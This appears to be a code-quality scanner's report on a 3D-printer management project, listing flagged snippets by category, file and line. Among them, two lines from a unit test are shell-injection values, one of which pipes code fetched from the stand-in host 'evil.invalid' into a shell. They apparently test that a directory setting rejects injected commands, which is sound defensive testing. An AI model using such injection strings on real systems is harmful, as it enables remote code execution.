MEDIUMbackend/tests/integration/test_library_api.py758 # Create a ZIP file with folder structureCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py780 # Create a ZIP file with folder structureCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py801 # Create a ZIP file with macOS junk filesCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py822 # Create a ZIP file with some filesCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py932 # Create a simple ASCII STL cubeCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py985 # Create a simple STL fileCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1002 # Create a ZIP file containing an STLCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1023 # Create a folderCOMMENT
MEDIUMbackend/tests/integration/test_library_api.py1426 # Create a target folder the move can land in.COMMENT
MEDIUMbackend/tests/integration/test_projects_api.py993 # Create a linked folderCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1038 # Create a file-like objectCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1062 # Create a ZIP file in memoryCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1091 # Create a linked folder with is_external fieldsCOMMENT
MEDIUMbackend/tests/integration/test_projects_api.py1102 # Create a test file on diskCOMMENT
23 more matches not shown…
Deep Nesting310 hits · 218 pts
SeverityFileLineSnippetContext
LOWbackend/app/main.py669CODE
LOWbackend/app/main.py1353CODE
LOWbackend/app/main.py1783CODE
LOWbackend/app/main.py2783CODE
LOWbackend/app/main.py4009CODE
LOWbackend/app/main.py4109CODE
LOWbackend/app/main.py4400CODE
LOWbackend/app/main.py4527CODE
LOWbackend/app/main.py5003CODE
LOWbackend/app/main.py5320CODE
LOWbackend/app/main.py6876CODE
LOWbackend/app/main.py7147CODE
LOWbackend/app/main.py7261CODE
LOWbackend/app/main.py7728CODE
LOWbackend/app/main.py6292CODE
LOWbackend/app/main.py6564CODE
LOWbackend/app/main.py6694CODE
LOWbackend/app/main.py6785CODE
LOWbackend/app/main.py5880CODE
LOWbackend/app/core/auth.py410CODE
LOWbackend/app/core/auth.py1132CODE
LOWbackend/app/core/auth.py1479CODE
LOWbackend/app/core/database.py845CODE
LOWbackend/app/core/database.py1242CODE
LOWbackend/app/core/database.py4557CODE
LOWbackend/app/core/database.py4936CODE
LOWbackend/app/utils/threemf_tools.py32CODE
LOWbackend/app/utils/threemf_tools.py168CODE
LOWbackend/app/utils/threemf_tools.py235CODE
LOWbackend/app/utils/threemf_tools.py557CODE
LOWbackend/app/utils/threemf_tools.py613CODE
LOWbackend/app/utils/threemf_tools.py833CODE
LOWbackend/app/utils/threemf_tools.py1232CODE
LOWbackend/app/utils/threemf_tools.py1484CODE
LOWbackend/app/utils/threemf_tools.py1580CODE
LOWbackend/app/utils/tray_split.py27CODE
LOWbackend/app/api/routes/mfa.py1133CODE
LOWbackend/app/api/routes/mfa.py1721CODE
LOWbackend/app/api/routes/slicer_presets.py102CODE
LOWbackend/app/api/routes/slicer_presets.py185CODE
LOWbackend/app/api/routes/slicer_presets.py448CODE
LOWbackend/app/api/routes/auth.py257CODE
LOWbackend/app/api/routes/auth.py449CODE
LOWbackend/app/api/routes/auth.py751CODE
LOWbackend/app/api/routes/auth.py1867CODE
LOWbackend/app/api/routes/system.py244CODE
LOWbackend/app/api/routes/finance.py75CODE
LOWbackend/app/api/routes/spoolman.py71CODE
LOWbackend/app/api/routes/spoolman.py175CODE
LOWbackend/app/api/routes/spoolman.py410CODE
LOWbackend/app/api/routes/spoolman.py791CODE
LOWbackend/app/api/routes/spoolman.py1150CODE
LOWbackend/app/api/routes/support.py786CODE
LOWbackend/app/api/routes/support.py1256CODE
LOWbackend/app/api/routes/library.py577CODE
LOWbackend/app/api/routes/library.py670CODE
LOWbackend/app/api/routes/library.py733CODE
LOWbackend/app/api/routes/library.py1269CODE
LOWbackend/app/api/routes/library.py1402CODE
LOWbackend/app/api/routes/library.py1706CODE
250 more matches not shown…
Modern Structural Boilerplate179 hits · 179 pts
SeverityFileLineSnippetContext
LOWbackend/app/core/oidc_env.py20logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/auth.py26logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/encryption.py30logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/tasks.py29logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/database.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/core/asyncio_handlers.py17logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/local_time.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/utils/threemf_tools.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/models/__init__.py43__all__ = [CODE
LOWbackend/app/schemas/__init__.py25__all__ = [CODE
LOWbackend/app/api/routes/mfa.py624async def _set_email_2fa_enabled(db: AsyncSession, user_id: int, enabled: bool) -> None:CODE
LOWbackend/app/api/routes/mfa.py89logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/slicer_presets.py58logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/auth.py220async def set_advanced_auth_enabled(db: AsyncSession, enabled: bool) -> None:CODE
LOWbackend/app/api/routes/auth.py227async def set_auth_enabled(db: AsyncSession, enabled: bool) -> None:CODE
LOWbackend/app/api/routes/auth.py248async def set_setup_completed(db: AsyncSession, completed: bool) -> None:CODE
LOWbackend/app/api/routes/library_trash.py43logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/user_notifications.py16logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/labels.py35logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/sponsor_prompt.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/library_variants.py60logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/ha_sensors.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/spoolman.py39logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/support.py47logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/library.py94logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/print_log.py21logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/firmware.py28logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/cloud.py55logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/spoolman_inventory.py69logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/discovery.py24logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/webhook.py16logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/maintenance.py31logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/slicer_pipelines.py30logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/updates.py23logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/local_presets.py32logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/archives.py46logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/spoolbuddy.py46logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/orca_cloud.py64logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/external_links.py29logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/pipeline_runs.py65logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/makerworld.py54logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/local_backup.py13logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/camera.py49logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/github_backup.py34logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/_spoolman_helpers.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/settings.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/settings.py148async def set_setting(db: AsyncSession, key: str, value: str) -> None:CODE
LOWbackend/app/api/routes/virtual_printers.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/printers.py73logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/notifications.py27logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/api_keys.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/smart_plugs.py45logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/print_queue.py63logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/projects.py50logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/library_tags.py51logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/archive_purge.py33logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/kprofiles.py26logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/obico.py13logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/bug_report.py23logger = logging.getLogger(__name__)CODE
LOWbackend/app/api/routes/websocket.py30logger = logging.getLogger(__name__)CODE
119 more matches not shown…
Redundant / Tautological Comments122 hits · 176 pts
SeverityFileLineSnippetContext
LOWinstall/install.sh304 # Check if Homebrew is installedCOMMENT
LOWinstall/install.sh914 # Check if running via pipe (curl | bash) - interactive mode won't workCOMMENT
LOWinstall/docker-install.sh341 # Check if container is running (Up)COMMENT
LOWinstall/docker-install.sh347 # Check if container failedCOMMENT
LOWinstall/docker-install.sh469 # Check if running via pipe (curl | bash) - interactive mode won't workCOMMENT
LOWinstall/docker-install.sh498 # Check if Docker daemon is runningCOMMENT
LOWdeploy/docker-entrypoint.sh42 # Check if we have any certificates to process. Error if directory is emptyCOMMENT
LOWtests/e2e_comprehensive_test.py195 # Check if modal openedCOMMENT
LOWtests/e2e_comprehensive_test.py241 # Check if dark theme is applied (should be default)COMMENT
LOWbackend/app/main.py2302 # Check if Spoolman is enabledCOMMENT
LOWbackend/app/main.py2093 # Check if assignment already exists for this slotCOMMENT
LOWbackend/app/main.py2334 # Check if Spoolman is reachableCOMMENT
LOWbackend/app/main.py3059 # Check if this is an expected print from reprint/scheduledCOMMENT
LOWbackend/app/main.py3253 # Check if there's already a "printing" archive for this printer/fileCOMMENT
LOWbackend/app/main.py5691 # Check if queue is now empty and send notificationCOMMENT
LOWbackend/app/main.py5747 # Check if any provider has on_bed_cooled enabled (skip registration if none)COMMENT
LOWbackend/app/main.py6467 # Check if camera stream is active - use buffered frame to avoid freezeCOMMENT
LOWbackend/app/main.py8496 # Check if auth is enabled. Fail CLOSED on any exception during theCOMMENT
LOWbackend/app/core/auth.py1294 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/auth.py1514 # Check if key matches (verify against hash)COMMENT
LOWbackend/app/core/auth.py1676 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/auth.py1759 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/auth.py2061 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/core/database.py1961 # Check if archive_id needs to be made nullable (requires table recreation in SQLite)STRING
LOWbackend/app/utils/threemf_tools.py655 # Check if only one extruder is active.COMMENT
LOWbackend/app/models/archive.py67 # Print resultCOMMENT
LOWbackend/app/api/routes/auth.py275 # Check if admin users already existCOMMENT
LOWbackend/app/api/routes/auth.py305 # Check if username already exists (shouldn't happen if no admin users exist, but check anyway)COMMENT
LOWbackend/app/api/routes/auth.py459 # Check if auth is enabledCOMMENT
LOWbackend/app/api/routes/auth.py484 # Check if LDAP is enabledCOMMENT
LOWbackend/app/api/routes/auth.py687 # Check if it's an API key (starts with bb_)COMMENT
LOWbackend/app/api/routes/auth.py1059 # Check if advanced auth is enabledCOMMENT
LOWbackend/app/api/routes/auth.py1236 # Check if advanced auth is enabledCOMMENT
LOWbackend/app/api/routes/metrics.py66 # Check if enabledCOMMENT
LOWbackend/app/api/routes/spoolman.py181 # Check if Spoolman is enabled and connectedCOMMENT
LOWbackend/app/api/routes/spoolman.py415 # Check if Spoolman is enabledCOMMENT
LOWbackend/app/api/routes/spoolman.py762 # Check if spool has a tag in extra fieldCOMMENT
LOWbackend/app/api/routes/support.py1420 # Check if debug logging is enabled and collect sensitive values for redactionCOMMENT
LOWbackend/app/api/routes/library.py1995 # Check if subfolder has any remaining filesCOMMENT
LOWbackend/app/api/routes/library.py2003 # Check if it has any remaining child foldersCOMMENT
LOWbackend/app/api/routes/library.py2448 # Check if folder already existsCOMMENT
LOWbackend/app/api/routes/library.py2502 # Check if folder existsCOMMENT
LOWbackend/app/api/routes/library.py3318 # Check if this is the requested plateCOMMENT
LOWbackend/app/api/routes/users.py110 # Check if advanced auth is enabledCOMMENT
LOWbackend/app/api/routes/users.py115 # Check if username already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/users.py137 # Check if email already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/users.py293 # Check if new username already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/users.py305 # Check if new email already exists (case-insensitive)COMMENT
LOWbackend/app/api/routes/maintenance.py518 # Check if already assignedCOMMENT
LOWbackend/app/api/routes/updates.py374 # Check if this is a prerelease (has b/beta/alpha/rc/daily suffix anywhere)COMMENT
LOWbackend/app/api/routes/updates.py467 # Check if beta updates should be includedCOMMENT
LOWbackend/app/api/routes/archives.py3136 # Check if source 3MF exists - this is where actual mesh data typically livesCOMMENT
LOWbackend/app/api/routes/groups.py106 # Check if group name already existsCOMMENT
LOWbackend/app/api/routes/groups.py190 # Check if updating name to one that already existsCOMMENT
LOWbackend/app/api/routes/groups.py297 # Check if user is already in groupCOMMENT
LOWbackend/app/api/routes/groups.py335 # Check if user is in groupCOMMENT
LOWbackend/app/api/routes/camera.py208 # Check if client disconnectedCOMMENT
LOWbackend/app/api/routes/camera.py806 # Check if stream was explicitly stopped (e.g., by stop endpoint)COMMENT
LOWbackend/app/api/routes/camera.py1361 # Check if there's an active stream for this printerCOMMENT
LOWbackend/app/api/routes/settings.py309 # Check if any MQTT settings are being updatedCOMMENT
62 more matches not shown…
Cross-Language Confusion26 hits · 129 pts
SeverityFileLineSnippetContext
HIGHbackend/app/core/auth.py2011 - Ownerless items (created_by_id = null) require ``all_permission``STRING
HIGHbackend/app/core/database.py1346 "UPDATE cost_centers SET code = substr(md5(random()::text || clock_timestamp()::text), 1, 12) "CODE
HIGHbackend/app/models/library.py156 # Soft-delete / trash bin (Issue #1008). When non-null, the file is in theCOMMENT
HIGHbackend/app/models/archive.py118 # Soft-delete sentinel (#1343). When non-null, the UI hides this archiveCOMMENT
HIGHbackend/app/schemas/library.py220 # never null, so the FE can iterate without a guard.COMMENT
HIGHbackend/app/api/routes/library.py5291 pass # leave hash null; dedup just won't match this rowCODE
HIGHbackend/app/api/routes/spoolman_inventory.py1923 _raise_if_partial_failure(spools_to_clear, results, "spool_weight clear (option B null)")CODE
HIGHbackend/app/api/routes/spoolman_inventory.py81 """Return True when a PATCH field explicitly removes a tag (null)."""STRING
HIGHbackend/app/api/routes/spoolman_inventory.py1859 is null, clears per-spool overrides so spools fall back to the filament value.STRING
HIGHbackend/app/api/routes/updates.py961 "git pull && docker compose build --pull && docker compose up -d"CODE
HIGHbackend/app/services/print_scheduler.py4501 2. Chamber target — `item.preheat_chamber_target_override` if non-null;STRING
HIGHbackend/app/services/spoolbuddy_ssh.py339 "sudo find /home -maxdepth 5 -path '*/chromium/Default/Service Worker' -type d -exec rm -rf {} + 2>/dev/nullCODE
HIGHbackend/tests/unit/test_main_plug_rank_2830.py199 backfilled with the default and nothing writes a null, but a rank thatSTRING
HIGHbackend/tests/unit/test_compose_dir_setting.py37 "/opt/bambuddy && curl evil.invalid/x | sh",CODE
HIGHbackend/tests/unit/test_compose_dir_setting.py41 '/opt/bambuddy" && echo pwned && echo "',CODE
HIGHbackend/tests/integration/test_library_api.py434 # User tracking fields should be present (even if null)COMMENT
HIGHbackend/tests/integration/test_library_api.py446 # User tracking fields should be present (even if null)COMMENT
HIGHbackend/tests/integration/test_ownership_permissions.py6- Ownerless items (created_by_id = null) require *_all permissionSTRING
HIGHbackend/tests/integration/test_ownership_permissions.py523 """Ownerless archive (created_by_id=null) requires REPRINT_ALL.STRING
HIGHbackend/tests/integration/test_ownership_permissions.py1637 """Ownerless rows (created_by_id = null, legacy data) require *_ALL — anSTRING
HIGHbackend/tests/integration/test_inventory_assign.py444 """When slicer_filament_name is null, falls back to tray_sub_brands."""STRING
HIGH…ckend/tests/integration/test_spoolman_inventory_api.py2424 """Sending {tag_uid: null, tray_uuid: null} → at_least_one validator → 422."""STRING
HIGHbackend/tests/integration/test_color_catalog_extras.py52 """PUT with empty extra_colors clears the field (server normalizes "" → null)."""STRING
HIGHbackend/tests/integration/test_settings_api.py877 # And a fresh GET also sees it as null, not the literal string "None".COMMENT
HIGHbackend/tests/integration/test_printers_api.py1489 has filament_id=null, the frontend sends the setting_id in BOTH fieldsSTRING
HIGHinstallers/windows/build.py207 """Run ``npm ci && npm run build`` and return the build output path.STRING
Structural Annotation Overuse48 hits · 80 pts
SeverityFileLineSnippetContext
LOWdocker-publish-daily-beta.sh102# Step 1: Read and validate APP_VERSIONCOMMENT
LOWdocker-publish-daily-beta.sh127# Step 2: Build & push Docker imagesCOMMENT
LOWdocker-publish-daily-beta.sh288# Step 3: Create/update GitHub releaseCOMMENT
LOWdocker-publish-daily-beta.sh380# Step 4: VerifyCOMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx205 // Step 1: request verification code (proof of possession)COMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx222 // Step 2: confirm with the code received by emailCOMMENT
LOWfrontend/src/components/SliceModal.tsx631 // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes theCOMMENT
LOWfrontend/src/components/spoolbuddy/DiagnosticModal.tsx37 // Step 1: Queue the diagnostic on the deviceCOMMENT
LOWfrontend/src/components/spoolbuddy/DiagnosticModal.tsx41 // Step 2: Poll for results with timeoutCOMMENT
LOWfrontend/src/__tests__/components/SliceModal.test.tsx836 // Step 1: pick Plate 2.COMMENT
LOWfrontend/src/__tests__/components/SliceModal.test.tsx840 // Step 2: profile dropdowns are now visible.COMMENT
LOWfrontend/src/__tests__/components/SliceModal.test.tsx843 // Step 3: submit and verify the plate index made it into the body.COMMENT
LOWfrontend/src/api/client.ts4240 // Step 1: send a verification code to the user's email (proof of possession)COMMENT
LOWfrontend/src/api/client.ts4243 // Step 2: confirm with the code received by emailCOMMENT
LOWbackend/app/core/database.py3944 # Step 1: link old log entries to their archive via print_name + printer_id.COMMENT
LOWbackend/app/core/database.py3968 # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linkedSTRING
LOWbackend/app/services/ldap_service.py263 # Step 2: Bind as the user to verify passwordCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py255 # Step 1: Test SSH connectivityCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py284 # Step 2: Git fetchCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py297 # Step 3: Git checkout + resetCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py310 # Step 4: Install dependenciesCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py323 # Step 5: Restart daemonCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py335 # Step 6: Clear browser cache and restart kioskCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py4980 # Step 1: Stale detection triggersCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py4984 # Step 2: Paho fires disconnect callback (from socket close)COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py4989 # Step 3: Paho reconnectsCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3306 # Step 1: Right extruder loads AMS 0 slot 0COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3318 # Step 2: Switch to left, load AMS HTCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3331 # Step 3: Switch back to right, load AMS 0 slot 2COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3344 # Step 4: UnloadCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py595 # Step 1: Print starts — plug turns onCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py610 # Step 2: Print completes — auto-off is scheduledCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py622 # Step 3: Auto-off executes via _mark_auto_off_executedCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2796 # Step 1: Initial TOTP setup (no active TOTP yet → no code required)COMMENT
LOWbackend/tests/integration/test_mfa_api.py2804 # Step 2: Enable TOTP with a valid codeCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2813 # Step 3: Determine current valid code and its counterCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2825 # Step 4: Pre-set last_totp_counter so this code looks already usedCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2829 # Step 5: Attempt setup_totp with the "already used" code → must be rejectedCOMMENT
LOW.github/MAINTAINERS.md9### Step 1: Basic SettingsCOMMENT
LOW.github/MAINTAINERS.md16### Step 2: Bypass List (optional)COMMENT
LOW.github/MAINTAINERS.md21### Step 3: Target BranchesCOMMENT
LOW.github/MAINTAINERS.md25### Step 4: Branch RulesCOMMENT
LOWspoolbuddy/daemon/nau7802.py96 # Step 1: Reset (set RR=1, then RR=0)COMMENT
LOWspoolbuddy/daemon/nau7802.py103 # Step 2: Power up digital (PUD=1 auto-starts AD conversion)COMMENT
LOWspoolbuddy/daemon/nau7802.py109 # Step 3: Wait for power-up ready (PUR bit 3)COMMENT
LOWspoolbuddy/daemon/nau7802.py127 # Step 4: Configure deviceCOMMENT
LOWspoolbuddy/daemon/nau7802.py145 # Step 5: Tuning per application notesCOMMENT
LOWspoolbuddy/daemon/nau7802.py151 # Step 6: Trigger fresh AD conversion and wait for first resultCOMMENT
Verbosity Indicators44 hits · 72 pts
SeverityFileLineSnippetContext
LOWdocker-publish-daily-beta.sh102# Step 1: Read and validate APP_VERSIONCOMMENT
LOWdocker-publish-daily-beta.sh127# Step 2: Build & push Docker imagesCOMMENT
LOWdocker-publish-daily-beta.sh288# Step 3: Create/update GitHub releaseCOMMENT
LOWdocker-publish-daily-beta.sh380# Step 4: VerifyCOMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx205 // Step 1: request verification code (proof of possession)COMMENT
LOWfrontend/src/components/TwoFactorSettings.tsx222 // Step 2: confirm with the code received by emailCOMMENT
LOWfrontend/src/components/SliceModal.tsx631 // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes theCOMMENT
LOWfrontend/src/components/spoolbuddy/DiagnosticModal.tsx37 // Step 1: Queue the diagnostic on the deviceCOMMENT
LOWfrontend/src/components/spoolbuddy/DiagnosticModal.tsx41 // Step 2: Poll for results with timeoutCOMMENT
LOWfrontend/src/__tests__/components/SliceModal.test.tsx836 // Step 1: pick Plate 2.COMMENT
LOWfrontend/src/__tests__/components/SliceModal.test.tsx840 // Step 2: profile dropdowns are now visible.COMMENT
LOWfrontend/src/__tests__/components/SliceModal.test.tsx843 // Step 3: submit and verify the plate index made it into the body.COMMENT
LOWfrontend/src/api/client.ts4240 // Step 1: send a verification code to the user's email (proof of possession)COMMENT
LOWfrontend/src/api/client.ts4243 // Step 2: confirm with the code received by emailCOMMENT
LOWbackend/app/core/database.py3944 # Step 1: link old log entries to their archive via print_name + printer_id.COMMENT
LOWbackend/app/core/database.py3968 # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linkedSTRING
LOWbackend/app/services/ldap_service.py263 # Step 2: Bind as the user to verify passwordCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py255 # Step 1: Test SSH connectivityCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py284 # Step 2: Git fetchCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py297 # Step 3: Git checkout + resetCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py310 # Step 4: Install dependenciesCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py323 # Step 5: Restart daemonCOMMENT
LOWbackend/app/services/spoolbuddy_ssh.py335 # Step 6: Clear browser cache and restart kioskCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py4980 # Step 1: Stale detection triggersCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py4984 # Step 2: Paho fires disconnect callback (from socket close)COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py4989 # Step 3: Paho reconnectsCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3306 # Step 1: Right extruder loads AMS 0 slot 0COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3318 # Step 2: Switch to left, load AMS HTCOMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3331 # Step 3: Switch back to right, load AMS 0 slot 2COMMENT
LOWbackend/tests/unit/services/test_bambu_mqtt.py3344 # Step 4: UnloadCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py595 # Step 1: Print starts — plug turns onCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py610 # Step 2: Print completes — auto-off is scheduledCOMMENT
LOWbackend/tests/unit/services/test_smart_plug_manager.py622 # Step 3: Auto-off executes via _mark_auto_off_executedCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2796 # Step 1: Initial TOTP setup (no active TOTP yet → no code required)COMMENT
LOWbackend/tests/integration/test_mfa_api.py2804 # Step 2: Enable TOTP with a valid codeCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2813 # Step 3: Determine current valid code and its counterCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2825 # Step 4: Pre-set last_totp_counter so this code looks already usedCOMMENT
LOWbackend/tests/integration/test_mfa_api.py2829 # Step 5: Attempt setup_totp with the "already used" code → must be rejectedCOMMENT
LOWspoolbuddy/daemon/nau7802.py96 # Step 1: Reset (set RR=1, then RR=0)COMMENT
LOWspoolbuddy/daemon/nau7802.py103 # Step 2: Power up digital (PUD=1 auto-starts AD conversion)COMMENT
LOWspoolbuddy/daemon/nau7802.py109 # Step 3: Wait for power-up ready (PUR bit 3)COMMENT
LOWspoolbuddy/daemon/nau7802.py127 # Step 4: Configure deviceCOMMENT
LOWspoolbuddy/daemon/nau7802.py145 # Step 5: Tuning per application notesCOMMENT
LOWspoolbuddy/daemon/nau7802.py151 # Step 6: Trigger fresh AD conversion and wait for first resultCOMMENT
Cross-File Repetition13 hits · 65 pts
SeverityFileLineSnippetContext
HIGH…ests/unit/test_library_file_type_backfill_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…nd/tests/unit/test_variant_group_backfill_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGHbackend/tests/unit/test_vp_mode_rename_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…s/unit/test_cancellation_cascade_recovery_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…ckend/tests/unit/test_vp_access_code_sync_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGHbackend/tests/unit/test_oidc_env_managed_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGH…d/tests/unit/test_force_color_plate_scope_migration.py0force the sqlite branch regardless of test env settings.STRING
HIGHbackend/tests/unit/test_vp_mode_rename_migration.py0run_migrations touches multiple tables; the full schema must exist.STRING
HIGH…s/unit/test_cancellation_cascade_recovery_migration.py0run_migrations touches multiple tables; the full schema must exist.STRING
HIGH…ckend/tests/unit/test_vp_access_code_sync_migration.py0run_migrations touches multiple tables; the full schema must exist.STRING
HIGHbackend/tests/integration/test_spoolman_api.py0create spoolman settings in the database (enabled with url).STRING
HIGH…ckend/tests/integration/test_spoolman_inventory_api.py0create spoolman settings in the database (enabled with url).STRING
HIGHbackend/tests/integration/test_spoolbuddy.py0create spoolman settings in the database (enabled with url).STRING
Fake / Example Data64 hits · 63 pts
SeverityFileLineSnippetContext
LOWfrontend/src/components/CreateUserAdvancedAuthModal.tsx163 placeholder={t('users.form.emailPlaceholder') || 'user@example.com'}CODE
LOW…ntend/src/__tests__/components/SpoolFormModal.test.tsx289 input.getAttribute('placeholder')?.toLowerCase().includes('spool')CODE
LOW…ntend/src/__tests__/components/LdapUserPicker.test.tsx75 display_name: 'John Doe',CODE
LOWfrontend/src/__tests__/pages/CloudLoginCaptcha.test.tsx28 await user.type(await screen.findByPlaceholderText('your@email.com'), 'user@example.com');CODE
LOWfrontend/src/i18n/locales/zh-TW.ts3414 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/pt-BR.ts3414 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/zh-CN.ts3414 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/en.ts3455 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/uk.ts3454 emailPlaceholder: "user@example.com",CODE
LOWfrontend/src/i18n/locales/ru.ts3244 emailPlaceholder: "user@example.com",CODE
LOWfrontend/src/i18n/locales/ko.ts3252 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/i18n/locales/ja.ts3426 emailPlaceholder: 'user@example.com',CODE
LOWfrontend/src/pages/SettingsPage.tsx6855 placeholder={t('users.form.emailPlaceholder') || 'user@example.com'}CODE
LOWfrontend/src/pages/UsersPage.tsx697 placeholder={t('users.form.emailPlaceholder') || 'user@example.com'}CODE
LOWbackend/app/api/routes/mfa.py1927 # and "user@example.com" are treated as the same identity, preventingCOMMENT
LOWbackend/tests/unit/test_cloud_token_expiry.py277 await store_token(db_session, "brand-new-token", "user@example.com", "global", None)CODE
LOWbackend/tests/unit/test_cloud_token_expiry.py285 (CLOUD_EMAIL_KEY, "user@example.com"),CODE
LOWbackend/tests/unit/test_cloud_token_expiry.py303 db_session.add(Settings(key=CLOUD_EMAIL_KEY, value="user@example.com"))CODE
LOWbackend/tests/unit/test_cloud_token_expiry.py337 assert body["email"] == "user@example.com"CODE
